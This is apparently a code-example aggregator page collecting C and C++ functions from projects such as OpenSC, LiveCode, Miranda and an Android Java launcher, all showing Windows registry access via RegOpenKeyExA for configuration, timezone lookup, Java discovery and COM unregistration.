    ok(r == REG_EXIT_SUCCESS, "got exit code %d, expected 0\n", r);
    dword = 456;
    verify_reg(hkey, "DWORD_LE", REG_DWORD_LITTLE_ENDIAN, &dword, sizeof(dword), 0);

    RegCloseKey(hkey);

    err = RegDeleteKeyA(HKEY_CURRENT_USER, KEY_BASE);
    ok(err == ERROR_SUCCESS, "got %d\n", err);
}
Esempio n. 24
0
static void process_config_file(sc_context_t *ctx, struct _sc_ctx_options *opts)
{
	int i, r, count = 0;
	scconf_block **blocks;
	const char *conf_path = NULL;
	const char *debug = NULL;
#ifdef _WIN32
	char temp_path[PATH_MAX];
	DWORD temp_len;
	long rc;
	HKEY hKey;
#endif

	/* Takes effect even when no config around */
	debug = getenv("OPENSC_DEBUG");
	if (debug)
		ctx->debug = atoi(debug);

	memset(ctx->conf_blocks, 0, sizeof(ctx->conf_blocks));
#ifdef _WIN32
	conf_path = getenv("OPENSC_CONF");
	if (!conf_path) {
		rc = RegOpenKeyExA(HKEY_CURRENT_USER, "Software\\OpenSC Project\\OpenSC", 0, KEY_QUERY_VALUE, &hKey);
		if (rc == ERROR_SUCCESS) {
			temp_len = PATH_MAX;
			rc = RegQueryValueEx( hKey, "ConfigFile", NULL, NULL, (LPBYTE) temp_path, &temp_len);
			if ((rc == ERROR_SUCCESS) && (temp_len < PATH_MAX))
				conf_path = temp_path;
			RegCloseKey(hKey);
		}
	}

	if (!conf_path) {
		rc = RegOpenKeyExA( HKEY_LOCAL_MACHINE, "Software\\OpenSC Project\\OpenSC", 0, KEY_QUERY_VALUE, &hKey );
		if (rc == ERROR_SUCCESS) {
			temp_len = PATH_MAX;
			rc = RegQueryValueEx( hKey, "ConfigFile", NULL, NULL, (LPBYTE) temp_path, &temp_len);
			if ((rc == ERROR_SUCCESS) && (temp_len < PATH_MAX))
				conf_path = temp_path;
			RegCloseKey(hKey);
		}
	}

	if (!conf_path) {
		sc_log(ctx, "process_config_file doesn't find opensc config file. Please set the registry key.");
		return;
	}

#else
	conf_path = getenv("OPENSC_CONF");
	if (!conf_path)
		conf_path = OPENSC_CONF_PATH;
#endif
	ctx->conf = scconf_new(conf_path);
	if (ctx->conf == NULL)
		return;
	r = scconf_parse(ctx->conf);
#ifdef OPENSC_CONFIG_STRING
	/* Parse the string if config file didn't exist */
	if (r < 0)
		r = scconf_parse_string(ctx->conf, OPENSC_CONFIG_STRING);
#endif
	if (r < 1) {
		/* A negative return value means the config file isn't
		 * there, which is not an error. Nevertheless log this
		 * fact. */
		if (r < 0)
			sc_log(ctx, "scconf_parse failed: %s", ctx->conf->errmsg);
		else
			sc_log(ctx, "scconf_parse failed: %s", ctx->conf->errmsg);
		scconf_free(ctx->conf);
		ctx->conf = NULL;
		return;
	}
	blocks = scconf_find_blocks(ctx->conf, NULL, "app", ctx->app_name);
	if (blocks[0])
		ctx->conf_blocks[count++] = blocks[0];
	free(blocks);
	if (strcmp(ctx->app_name, "default") != 0) {
		blocks = scconf_find_blocks(ctx->conf, NULL, "app", "default");
		if (blocks[0])
			ctx->conf_blocks[count] = blocks[0];
		free(blocks);
	}
	/* Above we add 2 blocks at most, but conf_blocks has 3 elements,
	 * so at least one is NULL */
	for (i = 0; ctx->conf_blocks[i]; i++)
		load_parameters(ctx, ctx->conf_blocks[i], opts);
}
Esempio n. 25
0
static bool MCRegistryListValues(HKEY p_root, const char *p_key, MCRegistryListValuesCallback p_callback, void *p_context)
{
	bool t_success;
	t_success = true;

	// Attempt to open the given key.
	HKEY t_handle;
	t_handle = nil;
	if (t_success)
		if (RegOpenKeyExA(p_root, p_key, 0, KEY_QUERY_VALUE, &t_handle) != ERROR_SUCCESS)
			t_success = false;

	// Next determine the maximum length of the value names.
	DWORD t_max_name_length;
	if (t_success)
		if (RegQueryInfoKeyA(t_handle, nil, nil, nil, nil, nil, nil, nil, &t_max_name_length, nil, nil, nil) != ERROR_SUCCESS)
			t_success = false;

	// Allocate a buffer big enough for the name
	char *t_name_buffer;
	t_name_buffer = nil;
	if (t_success)
		t_success = MCMemoryNewArray(t_max_name_length + 1, t_name_buffer);

	if (t_success)
	{
		DWORD t_index;
		t_index = 0;
		while(t_success)
		{
			DWORD t_name_length, t_value_length;
			t_name_length = t_max_name_length + 1;
			t_value_length = 0;

			LSTATUS t_result;
			if (t_success)
			{
				t_result = RegEnumValueA(t_handle, t_index, t_name_buffer, &t_name_length, nil, nil, nil, &t_value_length);
				if (t_result == ERROR_NO_MORE_ITEMS)
					break;
				if (t_result != ERROR_SUCCESS)
					t_success = false;
			}

			void *t_value_buffer;
			t_value_buffer = nil;
			if (t_success)
				t_success = MCMemoryAllocate(t_value_length, t_value_buffer);

			DWORD t_type;
			if (t_success)
			{
				t_name_length = t_max_name_length + 1;
				if (RegEnumValueA(t_handle, t_index, t_name_buffer, &t_name_length, nil, &t_type, (LPBYTE)t_value_buffer, &t_value_length) != ERROR_SUCCESS)
					t_success = false;
			}

			if (t_success && p_callback != nil)
				p_callback(p_context, t_name_buffer, t_type, t_value_buffer, t_value_length);

			MCMemoryDeallocate(t_value_buffer);

			t_index++;
		}
	}

	MCMemoryDeleteArray(t_name_buffer);

	if (t_handle != nil)
		RegCloseKey(t_handle);

	return t_success;
}
Esempio n. 26
0
/////////////////////////////////////////////////////////////////////////////
// DllUnregisterServer
//
/////////////////////////////////////////////////////////////////////////////
STDAPI DllUnregisterServer(void)
{
	HKEY hRootKey = NULL;
	HKEY hModuleKey = NULL;

	HKEY hLTMKey = NULL;
	HKEY hLTMModuleKey = NULL;
	
	WCHAR* pwszCLSID = NULL;
	ULONG cBufferSize = MAX_NAME_LEN;
	GlobalModuleData* pModuleData = &g_pThisTestModule->m_gmd;
	CHAR szGuid[MAX_NAME_LEN];
	CHAR szBuffer[MAX_NAME_LEN];
	CHAR szBuffer2[MAX_NAME_LEN];
	
	//{...Guid...}
	StringFromCLSID(*pModuleData->m_pguidModuleCLSID, &pwszCLSID);
	WideCharToMultiByte(CP_ACP, 0, pwszCLSID, -1, szGuid, MAX_NAME_LEN, NULL, NULL);

	// Step 1: Remove our CLSID as an OLE Server
	//HKEY_CLASSES_ROOT\CLSID
	if(ERROR_SUCCESS == RegOpenKeyExA(HKEY_CLASSES_ROOT, "CLSID", 0, KEY_WRITE, &hRootKey))
	{
		//HKEY_CLASSES_ROOT\CLSID\{..Guid..}
		if(ERROR_SUCCESS == RegOpenKeyExA(hRootKey, szGuid, 0, KEY_WRITE, &hModuleKey))
		{
			//HKEY_CLASSES_ROOT\CLSID\{..Guid..}\InprocServer32
			RegDeleteKeyA(hModuleKey, "InprocServer32");
			RegDeleteKeyA(hModuleKey, "ProgID");
		}
		RegDeleteKeyA(hRootKey, szGuid);
		RegCloseKey(hRootKey);
	}

	//HKEY_CLASSES_ROOT\ProgID
	WideCharToMultiByte(CP_ACP, 0, pModuleData->m_wszModuleName, -1, szBuffer2, MAX_NAME_LEN, NULL, NULL);
	strcpy(szBuffer, "LTMTest.");
	strcat(szBuffer, szBuffer2);
	if(ERROR_SUCCESS == RegOpenKeyExA(HKEY_CLASSES_ROOT, szBuffer, 0, KEY_WRITE, &hRootKey))
	{
		//HKEY_CLASSES_ROOT\ProgID\CLSID
		RegDeleteKeyA(hRootKey, "CLSID");
		RegDeleteKey(hRootKey, NULL);
	}

	// Step 2: Remove LTM-specific registery entries 
	//Obtain the Key for HKEY_LOCAL_MACHINE\"SOFTWARE\Microsoft\LTM\Test Modules"
	if(ERROR_SUCCESS == RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\LTM\\Test Modules", 0, KEY_WRITE, &hLTMKey))
	{
		//Obtain the Key for "...\{Guid}
		if(ERROR_SUCCESS == RegOpenKeyExA(hLTMKey, szGuid, 0, KEY_WRITE | KEY_READ, &hLTMModuleKey))
		{
			while(RegEnumKeyExA(hLTMModuleKey, 0, szBuffer, &cBufferSize, NULL, NULL, NULL, NULL) == ERROR_SUCCESS)
			{
				HKEY hLTMCase = NULL;
				if(ERROR_SUCCESS == RegOpenKeyExA(hLTMModuleKey, szBuffer, 0, KEY_WRITE | KEY_READ, &hLTMCase))
				{
					cBufferSize = MAX_NAME_LEN;
					while(RegEnumKeyExA(hLTMCase, 0, szBuffer2, &cBufferSize, NULL, NULL, NULL, NULL) == ERROR_SUCCESS)
					{
						RegDeleteKeyA(hLTMCase, szBuffer2);
						cBufferSize = MAX_NAME_LEN;
					}

					RegCloseKey(hLTMCase); hLTMCase = NULL;
					RegDeleteKeyA(hLTMModuleKey, szBuffer);
					cBufferSize = MAX_NAME_LEN;
				}
			}
			RegDeleteKeyA(hLTMKey, szGuid);
		}
	}

	RegCloseKey(hLTMKey);
	RegCloseKey(hLTMModuleKey);

	RegCloseKey(hRootKey);
	RegCloseKey(hModuleKey);
	CoTaskMemFree(pwszCLSID);
	return S_OK;
}
static gchar *
system_timezone_win32_query_registry (void)
{
	DWORD type;
	DWORD size;
	LONG res;
	DWORD i;

	static HKEY reg_key = (HKEY) INVALID_HANDLE_VALUE;
	static HKEY reg_subkey = (HKEY) INVALID_HANDLE_VALUE;
	gchar timeZone[MAX_VALUE_NAME] = "";
	gchar timeZoneStd[MAX_VALUE_NAME] = "";
	gchar subKey[MAX_VALUE_NAME] = "";

	res = RegOpenKeyExA (
		HKEY_LOCAL_MACHINE,
		"SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation", 0, KEY_READ, &reg_key);
	if (res != ERROR_SUCCESS) {
		g_debug ("Could not find system timezone! (1)\n");
		return NULL;
	}

	/* On Windows Vista, Windows Server 2008 and later, the Windows timezone name is the value of 'TimeZoneKeyName' */

	size = MAX_VALUE_NAME;
	res = RegQueryValueExA (reg_key, "TimeZoneKeyName", 0, &type, (LPBYTE) timeZone, &size);

	if (type == REG_SZ && res == ERROR_SUCCESS) {
		RegCloseKey (reg_key);
		g_debug ("Windows Timezone String (1): %s\n", timeZone);
		return g_strdup (timeZone);
	}

	/* On older Windows, we must first find the value of 'StandardName' */

	res = RegQueryValueExA (reg_key, "StandardName", 0, &type, (LPBYTE) timeZone, &size);

	if (type != REG_SZ || res != ERROR_SUCCESS) {
		RegCloseKey (reg_key);
		g_debug ("Could not find system timezone! (2)\n");
		return NULL;
	}

	RegCloseKey (reg_key);

	/* Windows NT and its family */
	res = RegOpenKeyExA (
		HKEY_LOCAL_MACHINE,
		"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones",
		0, KEY_READ, &reg_key);
	if (res != ERROR_SUCCESS) {
		g_debug ("Could not find the timezone! (3)\n");
		return NULL;
	}

	for (i = 0, res = ERROR_SUCCESS; res != ERROR_NO_MORE_ITEMS; i++) {
		size = MAX_VALUE_NAME;
		res = RegEnumKeyEx (reg_key, i, subKey, &size, NULL, NULL, NULL, NULL);
		if (res == ERROR_SUCCESS) {
			res = RegOpenKeyExA (reg_key, subKey, 0, KEY_READ, &reg_subkey);
			if (res != ERROR_SUCCESS)
				continue;
			size = MAX_VALUE_NAME;
			res = RegQueryValueExA (
				reg_subkey, "Std", 0, &type,
				(LPBYTE) timeZoneStd, &size);
			RegCloseKey (reg_subkey);
			if (type != REG_SZ || res != ERROR_SUCCESS) {
				continue;
			}
			if (g_strcmp0 (timeZone,timeZoneStd) == 0) {
				RegCloseKey (reg_key);
				g_debug ("Windows Timezone String (2): %s\n", subKey);
				return g_strdup (subKey);
			}
		}
	}

	g_debug ("Could not find system timezone! (3)\n");
	RegCloseKey (reg_key);
	return NULL;
}
Esempio n. 28
0
// Explore the registry to find a suitable version of Java.
// Returns an int which is the version of Java found (e.g. 1006 for 1.6) and the
// matching path in outJavaPath.
// Returns 0 if nothing suitable was found.
static int exploreJavaRegistry(const char *entry, REGSAM access, CPath *outJavaPath) {

    // Let's visit HKEY_LOCAL_MACHINE\SOFTWARE\JavaSoft\Java Runtime Environment [CurrentVersion]
    CPath rootKey("SOFTWARE\\JavaSoft\\");
    rootKey.addPath(entry);

    int versionInt = 0;
    CString currentVersion;
    CPath subKey(rootKey);
    if (getRegValue(subKey.cstr(), "CurrentVersion", access, &currentVersion)) {
        // CurrentVersion should be something like "1.7".
        // We want to read HKEY_LOCAL_MACHINE\SOFTWARE\JavaSoft\Java Runtime Environment\1.7 [JavaHome]
        subKey.addPath(currentVersion);
        CPath javaHome;
        if (getRegValue(subKey.cstr(), "JavaHome", access, &javaHome)) {
            versionInt = checkBinPath(&javaHome);
            if (versionInt >= 0) {
                if (gIsDebug) {
                    fprintf(stderr,
                            "Java %d found via registry: %s\n",
                            versionInt, javaHome.cstr());
                }
                *outJavaPath = javaHome;
            }
            if (versionInt >= MIN_JAVA_VERSION) {
                // Heuristic: if the current version is good enough, stop here
                return versionInt;
            }
        }
    }

    // Try again, but this time look at all the versions available
    HKEY javaHomeKey;
    LSTATUS status = RegOpenKeyExA(
        HKEY_LOCAL_MACHINE,         // hKey
        "SOFTWARE\\JavaSoft",       // lpSubKey
        0,                          // ulOptions
        KEY_READ | access,          // samDesired
        &javaHomeKey);              // phkResult
    if (status == ERROR_SUCCESS) {
        char name[256];
        DWORD index = 0;
        CPath javaHome;
        for (LONG result = ERROR_SUCCESS; result == ERROR_SUCCESS; index++) {
            DWORD nameLen = 255;
            name[nameLen] = 0;
            result = RegEnumKeyExA(
                            javaHomeKey,  // hKey
                            index,        // dwIndex
                            name,         // lpName
                            &nameLen,     // lpcName
                            NULL,         // lpReserved
                            NULL,         // lpClass
                            NULL,         // lpcClass,
                            NULL);        // lpftLastWriteTime
            if (result == ERROR_SUCCESS && nameLen < 256) {
                name[nameLen] = 0;
                CPath subKey(rootKey);
                subKey.addPath(name);

                if (getRegValue(subKey.cstr(), "JavaHome", access, &javaHome)) {
                    int v = checkBinPath(&javaHome);
                    if (v > versionInt) {
                        if (gIsDebug) {
                            fprintf(stderr,
                                    "Java %d found via registry: %s\n",
                                    versionInt, javaHome.cstr());
                        }
                        *outJavaPath = javaHome;
                        versionInt = v;
                    }
                }
            }
        }

        RegCloseKey(javaHomeKey);
    }

    return 0;
}
Esempio n. 29
0
static void BackupRegTree_Worker(HKEY hKey,const char *pszSubKey,struct BackupRegTreeParam *param)
{
	LONG res;
	DWORD nMaxSubKeyLen,nMaxValNameLen,nMaxValSize;
	DWORD index,cchName,dwType,cbData;
	BYTE *pData;
	char *pszName;
	register TCHAR *ptszName;
	DWORD nDbPrefixLen;
	if ((res=RegOpenKeyExA(hKey,pszSubKey,0,KEY_QUERY_VALUE|KEY_ENUMERATE_SUB_KEYS,&hKey))==ERROR_SUCCESS) {
		if ((res=RegQueryInfoKey(hKey,NULL,NULL,NULL,NULL,&nMaxSubKeyLen,NULL,NULL,&nMaxValNameLen,&nMaxValSize,NULL,NULL))==ERROR_SUCCESS) {
			if (nMaxSubKeyLen>nMaxValNameLen) nMaxValNameLen=nMaxSubKeyLen;
			/* prepare buffer */
			nDbPrefixLen=(DWORD)mir_strlen(*param->ppszDbPrefix)+mir_strlen(pszSubKey)+1;
			cchName=nDbPrefixLen+nMaxValNameLen+3;
			if (cchName>*param->pdwDbPrefixSize) {
				pszName=(char*)mir_realloc(*param->ppszDbPrefix,cchName);
				if (pszName==NULL) return;
				*param->ppszDbPrefix=pszName;
				*param->pdwDbPrefixSize=cchName;
			}
			mir_strcat(mir_strcat(*param->ppszDbPrefix,pszSubKey),"\\"); /* buffer safe */
			/* enum values */
			pszName=(char*)mir_alloc(nMaxValNameLen+1);
			if (nMaxValSize==0) nMaxValSize=1;
			pData=(BYTE*)mir_alloc(nMaxValSize);
			if (pszName!=NULL && pData!=NULL) {
				index=0;
				while(!res) {
					cchName=nMaxValNameLen+1;
					cbData=nMaxValSize;
					if ((res=RegEnumValueA(hKey,index++,pszName,&cchName,NULL,NULL,NULL,NULL))==ERROR_SUCCESS) {
						(*param->ppszDbPrefix)[nDbPrefixLen]=0;
						mir_strcat(*param->ppszDbPrefix,pszName); /* buffer safe */
						ptszName=a2t(pszName);
						if (ptszName!=NULL) {
							if (!RegQueryValueEx(hKey,ptszName,NULL,&dwType,pData,&cbData)) {

								WriteDbBackupData(*param->ppszDbPrefix,dwType,pData,cbData);

							}
							mir_free(ptszName);
						}
					}
				}
				if (res==ERROR_NO_MORE_ITEMS) res=ERROR_SUCCESS;
			}
			mir_free(pData); /* does NULL check */
			/* enum subkeys */
			if (param->level<32 && pszName!=NULL) {
				++param->level; /* can be max 32 levels deep (after prefix), restriction of RegCreateKeyEx() */
				index=0;
				while(!res) {
					cchName=nMaxSubKeyLen+1;
					if ((res=RegEnumKeyExA(hKey,index++,pszName,&cchName,NULL,NULL,NULL,NULL))==ERROR_SUCCESS) {
						(*param->ppszDbPrefix)[nDbPrefixLen]=0;
						BackupRegTree_Worker(hKey,pszName,param); /* recursion */
					}
				}
			}
			if (res==ERROR_NO_MORE_ITEMS) res=ERROR_SUCCESS;
			mir_free(pszName); /* does NULL check */
		}
		RegCloseKey(hKey);
	}
}
Esempio n. 30
-1
File: card.c Progetto: DDvO/OpenSC
static int
sc_card_sm_load(struct sc_card *card, const char *module_path, const char *in_module)
{
	struct sc_context *ctx = NULL;
	int rv = SC_ERROR_INTERNAL;
	char *module = NULL;
#ifdef _WIN32
	char temp_path[PATH_MAX];
	int temp_len;
	long rc;
	HKEY hKey;
	const char path_delim = '\\';
#else
	const char path_delim = '/';
#endif

	assert(card != NULL);
	ctx = card->ctx;
	SC_FUNC_CALLED(ctx, SC_LOG_DEBUG_NORMAL);
	if (!in_module)
		return sc_card_sm_unload(card);

#ifdef _WIN32
	if (!module_path) {
		rc = RegOpenKeyExA( HKEY_CURRENT_USER, "Software\\OpenSC Project\\OpenSC", 0, KEY_QUERY_VALUE, &hKey );
		if( rc == ERROR_SUCCESS ) {
			temp_len = PATH_MAX;
			rc = RegQueryValueExA( hKey, "SmDir", NULL, NULL, (LPBYTE) temp_path, &temp_len);
			if( (rc == ERROR_SUCCESS) && (temp_len < PATH_MAX) )
				module_path = temp_path;
			RegCloseKey( hKey );
		}
	}
	if (!module_path) {
		rc = RegOpenKeyExA( HKEY_LOCAL_MACHINE, "Software\\OpenSC Project\\OpenSC", 0, KEY_QUERY_VALUE, &hKey );
		if( rc == ERROR_SUCCESS ) {
			temp_len = PATH_MAX;
			rc = RegQueryValueExA( hKey, "SmDir", NULL, NULL, (LPBYTE) temp_path, &temp_len);
			if(rc == ERROR_SUCCESS && temp_len < PATH_MAX)
				module_path = temp_path;
			RegCloseKey( hKey );
		}
	}
#endif
	sc_debug(ctx, SC_LOG_DEBUG_NORMAL, "SM module '%s' located in '%s'", in_module, module_path);
	if (module_path)   {
		int sz = strlen(in_module) + strlen(module_path) + 3;
		module = malloc(sz);
		if (module)
			snprintf(module, sz, "%s%c%s", module_path, path_delim, in_module);
	}
	else   {
		module = strdup(in_module);
	}

	if (!module)
		return SC_ERROR_OUT_OF_MEMORY;

	sc_log(ctx, "try to load SM module '%s'", module);
	do  {
		struct sm_module_operations *mod_ops = &card->sm_ctx.module.ops;
		void *mod_handle;

		card->sm_ctx.module.handle = sc_dlopen(module);
		if (!card->sm_ctx.module.handle)   {
			sc_log(ctx, "cannot open dynamic library '%s': %s", module, sc_dlerror());
			break;
		}
		mod_handle = card->sm_ctx.module.handle;

		mod_ops->initialize = sc_dlsym(mod_handle, "initialize");
		if (!mod_ops->initialize)   {
			sc_log(ctx, "SM handler 'initialize' not exported: %s", sc_dlerror());
			break;
		}

		mod_ops->get_apdus  = sc_dlsym(mod_handle, "get_apdus");
		if (!mod_ops->get_apdus)   {
			sc_log(ctx, "SM handler 'get_apdus' not exported: %s", sc_dlerror());
			break;
		}

		mod_ops->finalize  = sc_dlsym(mod_handle, "finalize");
		if (!mod_ops->finalize)
			sc_log(ctx, "SM handler 'finalize' not exported -- ignored");

		mod_ops->module_init  = sc_dlsym(mod_handle, "module_init");
		if (!mod_ops->module_init)
			sc_log(ctx, "SM handler 'module_init' not exported -- ignored");

		mod_ops->module_cleanup  = sc_dlsym(mod_handle, "module_cleanup");
		if (!mod_ops->module_cleanup)
			sc_log(ctx, "SM handler 'module_cleanup' not exported -- ignored");

		mod_ops->test  = sc_dlsym(mod_handle, "test");
		if (mod_ops->test)
			sc_log(ctx, "SM handler 'test' not exported -- ignored");

		rv = 0;
		break;
	} while(0);

	if (rv)
		sc_card_sm_unload(card);

	card->sm_ctx.sm_mode = SM_MODE_ACL;
	if (module)
		free(module);

	SC_FUNC_RETURN(ctx, SC_LOG_DEBUG_VERBOSE, rv);
}